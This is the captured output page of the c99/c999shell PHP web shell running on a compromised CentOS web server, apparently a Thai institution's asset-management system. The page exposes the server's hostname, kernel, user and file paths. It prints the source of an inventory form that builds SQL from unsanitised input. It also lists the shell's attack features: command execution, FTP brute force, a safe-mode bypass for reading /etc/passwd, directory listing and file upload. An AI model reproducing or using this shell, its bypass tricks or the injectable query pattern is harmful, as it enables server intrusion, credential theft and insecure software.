!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/manage_depart/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddAccName_.php (20.18 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if (! session_is_registered("valid_user") &&session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
         include(
"../include/Function.php");
    
        
/**  Create Database Object  */
        
$dbObj = new DBConn;
        
        
/**  Config Table for This Page  */
        
$myTable "accessories_tb";
        
$myTable1 ="accessories_type_tb";
        
$myTableFK "AccId";
       
        
$query " SELECT *  FROM $myTable  WHERE  AccId ='$AccId' ";
        
$result0 $dbObj->execQuery($query);
        
$rs $dbObj->fetchArray($result0);                


        
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="../js/calendarDateInput2.js"></script>

<title><?=$_Config_sitename;?></title>

<script type="text/javascript" src="../js/utilities.js"></script>

<script language="JavaScript">
    function resutName(sell_id)
    {
        switch(sell_id)
        {
            <?
            $strSQL 
"SELECT * FROM accessories_sell ORDER BY sell_id ASC";
            
$objQuery mysql_query($strSQL);
            while(
$objResult mysql_fetch_array($objQuery))
            {
            
?>
                case "<?=$objResult["sell_id"];?>":
                myForm.Address.value = "<?=$objResult["sell_address"];?>";
                myForm.Phone.value = "<?=$objResult["sell_tel"];?>";
                break;
            <?
            
}
            
?>
            default:
            myForm.txtName.value = "";
        }
    }
</script>
<script language="JavaScript" type="text/JavaScript">
function browse()
{
    myForm.Img1.src = myForm.Img1.value;
}
</script>
</head>
<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeaderDura.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px">
      <fieldset>
    <table width="100%" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td height="2"></td>
      </tr>
    </table>
    <table width="100%" border="0" cellspacing="0" cellpadding="0">
      <form id="myForm" name="myForm" method="post"   enctype="multipart/form-data" action="InsertAcc.php" onSubmit="return checkData();" >
      <tr>
        <td width="70%" height="30" align="left" background="../images/background/bg-head-topic.gif" class="PADDING-LEFT-5"><strong><a href="index.php">หน้าหลัก </span></a>&raquo; <a href="Menu_acc.php">ข้อมูลทั่วไป</a></span> &raquo; <a href="AccByName.php">ข้อมูลครุภัณฑ์</a> &raquo;<span class="NOTE"> บันทึกข้อมูลมูลครุภัณฑ์</span></strong></td>
        <td width="30%" align="right" class="PADDING-LEFT-10 PADDING-RIGHT-15">&nbsp;</td>
      </tr>
      <tr>
        <td height="385" colspan="2" align="center" valign="top">
          <table width="760" border="0" align="center" cellpadding="1" cellspacing="1">
            <tr>
              <td height="10"></td>
            </tr>
            <tr>
              <td height="10"><span class="PADDING-TOP-10"><img src="../images/icons/arrow-circle-225-left.png" width="16" height="16" border="0" align="absmiddle" /> <a href="javascript:;" onclick="window.history.back();"><strong>&lsaquo; ย้อนกลับ</strong></a></span></td>
            </tr>
            <tr>
              <td height="10">&nbsp;</td>
            </tr>
          </table>
           
          <table width="638" border="0" align="center" cellpadding="0" cellspacing="2"  class="BORDER-GREY">
            <tr>
              <th height="16" colspan="3" align="center" bgcolor="#FFFFFF" class="style2" scope="col">&nbsp;</th>
            </tr>
            <tr>
              <th height="31" colspan="3" align="center" bgcolor="#FFFFFF" class="style2" scope="col"><span style="padding-left:3px">
                <input type="radio" name="Dura" id="Propagate" value="Y" <?php if( $_GET['Propagate'] == "Y" ) echo 'checked'?> onclick="document.getElementById('levelType').style.display='none'; document.getElementById('levelType').style.display='';" <?=($_REQUEST["qflag"]==1)?"checked":"";?>  />
              ครุภัณฑ์  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
              <input type="radio" name="Dura" id="Propagate" value="N" <?php if( $_GET['Propagate'] == "N" ) echo 'checked'?> onclick="document.getElementById('levelType').style.display='none'; document.getElementById('leaveStart').style.display='';" <?=($_REQUEST["qflag"]==2)?"checked":"";?> />
วัสดุ/อะไหล่</span></th>
              </tr>
            <tr id="levelType" style="display:<?=($_REQUEST["qflag"]==1)?"":"none";?>">
                    <td width="203" align="right" bgcolor="#FFFFFF" class="style2"><table width="85%" border="0" cellspacing="3" cellpadding="0">
                       <tr>
                         <td width="166" height="30" align="right" bgcolor="#FFFFFF" class="style2">รหัสครุภัณฑ์วิทยาลัย&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;</td>
                       </tr>
                       <tr>
                         <td height="25" align="right" bgcolor="#FFFFFF" class="style2">จำแนกเป็นครุภัณฑ์&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;</td>
                       </tr>
                       <tr>
                         <td height="27" align="right" bgcolor="#FFFFFF" class="style2">เลขที่เอกสารที่ได้มา&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;</td>
                       </tr>
                       <tr>
                         <td height="27" align="right" bgcolor="#FFFFFF" class="style2">หลักฐานการจ่ายเงิน&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;</td>
                       </tr>
                       <tr>
                         <td height="27" align="right" bgcolor="#FFFFFF" class="style2">รายการที่เปลี่ยนแปลง&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;</td>
                       </tr>
                       <tr>
                         <td height="27" align="right" bgcolor="#FFFFFF" class="style2">เลขที่เอกสารที่เปลี่ยนแปลง&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;</td>
                       </tr>
 </table></td>
                      <td colspan="2" bgcolor="#FFFFFF" scope="col">
                        <input name="Acc_no" type="text" id="Acc_no" value="<?=$rs['Acc_no'];?>" size="30"  />
                
                        <table width="100%" border="0" cellspacing="3" cellpadding="0">
                       <tr>
                         <td bgcolor="#FFFFFF" class="style1"></td>
                       </tr>
                       <tr>
                         <td height="25" bgcolor="#FFFFFF" class="style2">
                           <select name="Fund" id="Fund">
                             <option  value="มูลค่าสูงกว่า 5000" <?php if($rs['Fund']=="มูลค่าสูงกว่า 5000"){ echo "selected" ; } ?> >มูลค่าสูงกว่า 5000 </option>
                             <option  value="มูลค่าต่ำกว่า 5000" <?php if($rs['Fund']=="มูลค่าต่ำกว่า 5000"){ echo "selected" ; } ?> >มูลค่าต่ำกว่า 5000 </option>
                             <option  value="หมดอายุการใช้งาน" <?php if($rs['Fund']=="หมดอายุการใช้งาน"){ echo "selected" ; } ?> >หมดอายุการใช้งาน </option>
                            </select>
                          </td>
                       </tr>
                       <tr>
                         <td height="25" bgcolor="#FFFFFF" class="style2"><input name="In_document" type="text" class="input " id="In_document" value="<?=$rs['In_document'];?>" size="30" /></td>
                       </tr>
                       <tr>
                         <td height="29" bgcolor="#FFFFFF" class="style2"><input name="Price_document" type="text" class="input " id="Price_document" value="<?=$rs['Price_document'];?>" size="30" /></td>
                       </tr>
                       <tr>
                         <td height="25" bgcolor="#FFFFFF" class="style2"><input name="Modify_detail" type="text" class="input " id="Modify_detail" value="<?=$rs['Modify_detail'];?>" size="30" /></td>
                       </tr>
                       <tr>
                         <td height="25" bgcolor="#FFFFFF" class="style2"><input name="Modify_document" type="text" class="input " id="Modify_document" value="<?=$rs['Modify_document'];?>" size="30" /></td>
                       </tr>
     </table></td>
            </tr>
              <tr>
                <td align="right" bgcolor="#FFFFFF" class="style2">เลขที่หรือรหัสครุภัณฑ์&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br /> (ตามทะเบียนคุมทรัพสิน)&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;</td>
                <td colspan="2" bgcolor="#FFFFFF"><input name="Acc_code" type="text" id="Acc_code" value="<?=$rs['Acc_code'];?>" size="30"  /></td>
              </tr>
              <tr>
                <td align="right" bgcolor="#FFFFFF" class="style2">รายการหรือชื่อครุภัณฑ์&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;</td>
                <td colspan="2" bgcolor="#FFFFFF"><input name="Acc_name" type="text" id="Acc_name" value="<?=$rs['Acc_name'];?>" size="50" /></td>
              </tr>
              <tr>
                <td height="28" align="right" bgcolor="#FFFFFF" class="style2">รุ่น/แบบ&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;</td>
                <td colspan="2" bgcolor="#FFFFFF"><input name="Acc_module" type="text" class="input " id="Acc_module" value="<?=$rs['Acc_module'];?>" size="30" /></td>
              </tr>
              <tr>
                <td height="22" align="right" bgcolor="#FFFFFF" class="style2">ประเภทครุภัณฑ์&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;</td>
                <td colspan="2" bgcolor="#FFFFFF"><a href="AddAccType.php">
                  <select name="Acc_type_code" id="Acc_type_code" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" >
                    <?php
                       
                                $strSQL3 
" SELECT * FROM   accessories_type_tb    ";
                                
$result3 mysql_query($strSQL3);
                                while( 
$rs3 mysql_fetch_array($result3) ) {
                            
?>
                    <option value="<?=$rs3['Acc_type_code'];?><?php if( $rs3['Acc_type_code']==$rs['Acc_type_code'] ) echo 'selected'?>>
                      <?=$rs3['Acc_type'];?>
                      </option>
                    <?php
                                
# while
                            
?>
                  </select></a>
              </td>
              </tr>
              <tr>
                <td height="22" align="right" bgcolor="#FFFFFF" class="style2">แหล่งเงิน&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;</td>
                <td colspan="2" bgcolor="#FFFFFF"><a href="AddAccType.php">
                  <select name="MoneyS_C" id="MoneyS_C" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" >
                    <?php
                       
                                $strSQL1 
" SELECT * FROM  money_source_tb     ";
                                
$result1 mysql_query($strSQL1);
                                while( 
$rs1 mysql_fetch_array($result1) ) {
                            
?>
                    <option value="<?=$rs1['MoneyS_C'];?><?php if( $rs1['MoneyS_C']==$rs['MoneyS_C'] ) echo 'selected'?>>
                      <?=$rs1['MoneyS_M'];?>
                      </option>
                    <?php
                                
# while
                            
?>
                  </select></a>
                </td>
              </tr>
              <tr>
                <td height="22" align="right" bgcolor="#FFFFFF" class="style2">วิธีการที่ได้มา&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;</td>
                <td colspan="2" bgcolor="#FFFFFF"><select name="Fix_detail" id="Fix_detail">
                  <option  value="สอบราคา" <?php if($rs['Fix_detail']=="สอบราคา"){ echo "selected" ; } ?> >สอบราคา </option>
                  <option  value="ตกลงราคา" <?php if($rs['Fix_detail']=="ตกลงราคา"){ echo "selected" ; } ?> >ตกลงราคา </option>
                  <option  value="อิเล็คทรอนิคส์" <?php if($rs['Fix_detail']=="อิเล็คทรอนิคส์"){ echo "selected" ; } ?> >อิเล็คทรอนิคส์ </option>
                  <option  value="ประกวดราคา" <?php if($rs['Fix_detail']=="ประกวดราคา"){ echo "selected" ; } ?> >ประกวดราคา </option>
                  <option  value="วิธีพิเศษ" <?php if($rs['Fix_detail']=="วิธีพิเศษ"){ echo "selected" ; } ?> >วิธีพิเศษ </option>
                  <option  value="วิธีกรณีพิเศษ" <?php if($rs['Fix_detail']=="วิธีกรณีพิเศษ"){ echo "selected" ; } ?> >วิธีกรณีพิเศษ </option>
                  <option  value="รับบริจาค" <?php if($rs['Fix_detail']=="รับบริจาค"){ echo "selected" ; } ?> >รับบริจาค </option>
                </select></td>
              </tr>
              <tr>
                <td height="24" align="right" bgcolor="#FFFFFF" class="style2">วันที่จัดซื้อ&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;</td>
                <td colspan="2" bgcolor="#FFFFFF" class="style2"><script>DateInput('mDate', true,'DD/MM/YYYY','<?=date("d/m/Y");?>');</script></td>
              </tr>
              <tr>
                <td height="22" align="right" bgcolor="#FFFFFF" class="style2">ปีงบประมาณ&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;</td>
                <td colspan="2" bgcolor="#FFFFFF" class="style1">
                  <select name="Year" id="Year">
                    <?php
                $curr_year 
date("Y")+543
                
$prev_year $curr_year-10;
                
$next_year $curr_year+3;
                
                for( 
$i=$prev_year$i<=$next_year$i++ ) { 
                
?>
                    <option value="<?=$i;?><?php if( $i==$curr_year ) echo 'selected'; elseif( $i==$Budget_Year ) echo 'selected'?>>
                      <?=$i;?>
                      </option>
                    <?php
                
# for
            
?>
                  </select>
               </td>
              </tr>
              <tr>
                <td height="22" align="right" bgcolor="#FFFFFF" class="style2">ราคาที่จัดซื้อ/หน่วย&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;</td>
                <td colspan="2" bgcolor="#FFFFFF" class="style1">
                  <input name="Price" type="text" class="input" id="Price" value="<?=$rs['Price'];?>" size="10" maxlength="10" />
                  บาท</td>
              </tr>
              <tr>
                <td align="right" bgcolor="#FFFFFF" class="style2">หน่วยงาน /ฝ่าย&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;</td>
                <td colspan="2" bgcolor="#FFFFFF"><a href="AddAccType.php">
                  <select name="Faculty_code" id="Faculty_code" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" >
                    <?php
                       
                                $strSQL2 
" SELECT * FROM  faculty_tb   ";
                                
$result2 mysql_query($strSQL2);
                                while( 
$rs2 mysql_fetch_array($result2) ) {
                            
?>
                    <option value="<?=$rs2['Faculty_code'];?><?php if( $rs2['Faculty_code']==$rs['Faculty_code'] ) echo 'selected'?>>
                      <?=$rs2['Faculty_name'];?>
                      </option>
                    <?php
                                
# while
                            
?>
                    </select>
                 </a></td>
              </tr>
              <tr>
                <td height="22" align="right" bgcolor="#FFFFFF" class="style2">ใช้ประจำที่/สถานที่จัดเก็บ&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;</td>
                <td colspan="2" bgcolor="#FFFFFF"><a href="AddAccType.php"> <select name="RoomId" id="RoomId" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" >
                    <?php
                       
                                $strSQL4 
" SELECT * FROM  room_tb    ";
                                
$result4 mysql_query($strSQL4);
                                while( 
$rs4 mysql_fetch_array($result4) ) {
                            
?>
                    <option value="<?=$rs4['code'];?><?php if( $rs4['code']==$rs['RoomId'] ) echo 'selected'?> >
                      <?=$rs4['Room_code'];?>
  &nbsp;
  <?=$rs4['Room_name'];?>
                      </option>
                    <?php
                                
# while
                            
?>
                  </select>
                </a></td>
              </tr>
              <tr>
                <td height="30" align="right" bgcolor="#FFFFFF" class="style2">สถานะการใช้งาน&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;</td>
                <td colspan="2" bgcolor="#FFFFFF"><input name="Status" type="checkbox" id="Status" value="Y"  checked />
ใช้งานอยู่
  <input name="Status" type="checkbox" id="Status" value="N" />
ยกเลิกการใช้งาน</td>
              </tr>
              <tr>
                <td height="35" align="right" bgcolor="#FFFFFF" class="style2">ลักษณะคุณสมบัติของครุภัณฑ์&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;</td>
                <td colspan="2" bgcolor="#FFFFFF">
                  <textarea name="Statistic" cols="50" rows="5" id="Statistic"><?=$rs['Statistic'];?>
                  </textarea>
                  </td>
              </tr>
              <tr>
                <td height="27" align="right" bgcolor="#FFFFFF" class="style2">ชื่อผู้ขาย / บริจาค&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;</td>
                <td width="182" bgcolor="#FFFFFF">
                  <select name="Sell_id" OnChange="resutName(this.value);">
                    <option value="">กรุณาเลือกชื่อผู้ขาย/บริการ</option>
                    <?
            $strSQL 
"SELECT * FROM accessories_sell ORDER BY sell_id ASC";
            
$objQuery mysql_query($strSQL);
            while(
$objResult mysql_fetch_array($objQuery))
            {
            
?>
                    <option value="<?=$objResult["sell_id"];?>"><?=$objResult["sell_name"];?></option>
                    <?
            
}
            
?>
                    </select></td>
                <td width="243" align="left" height="27" bgcolor="#FFFFFF"><a href="javascript:;" onclick="NewWindow('addSeller.php','Load','600','200','yes');">เพิ่มชื่อผู้ขาย / บริจาค</a></td>
              </tr>
              <tr>
                <td height="16" align="right" bgcolor="#FFFFFF" class="style2">ที่อยู่ผู้ขาย&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;</td>
                <td colspan="2" bgcolor="#FFFFFF">
                  <input name="Address" type="text"  size="50" value="<?=$objResult2["sell_address"];?>" disabled="disabled">
              </td>
              </tr>
              <tr>
                <td height="22" align="right" bgcolor="#FFFFFF" class="style2">โทรศัพท์&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;</td>
                <td colspan="2" bgcolor="#FFFFFF"><input name="Phone" type="text" value="<?=$objResult2["sell_tel"];?>" disabled="disabled"></td>
              </tr>
              <tr>
                <td height="24" align="right" bgcolor="#FFFFFF" class="style2">อัปโหลดภาพ&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;</td>
                <td colspan="2" align="left" bgcolor="#FFFFFF">
                  <input name="Img1" type="file" id="Img1" onchange="browse()" />
                 </td>
              </tr>
            </table>
            
          <br />
          <br /><input type="submit" name="add" value="บันทึกข้อมูล"  onclick="return(checkFormat())" />
              &nbsp;&nbsp;&nbsp;
              <input type="reset" name="clear" value="เคลียร์ข้อมูล" />              &nbsp;&nbsp;&nbsp;
              <table width="96%" border="0" align="center" cellpadding="0" cellspacing="0">
        <tr>
          <td>
          <?php if( $numrows ) { ?>
          <?php #if ?></td>
        </tr>
      </table>
     <br /></td></tr>
     </form>
     </table>
    </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0164 ]--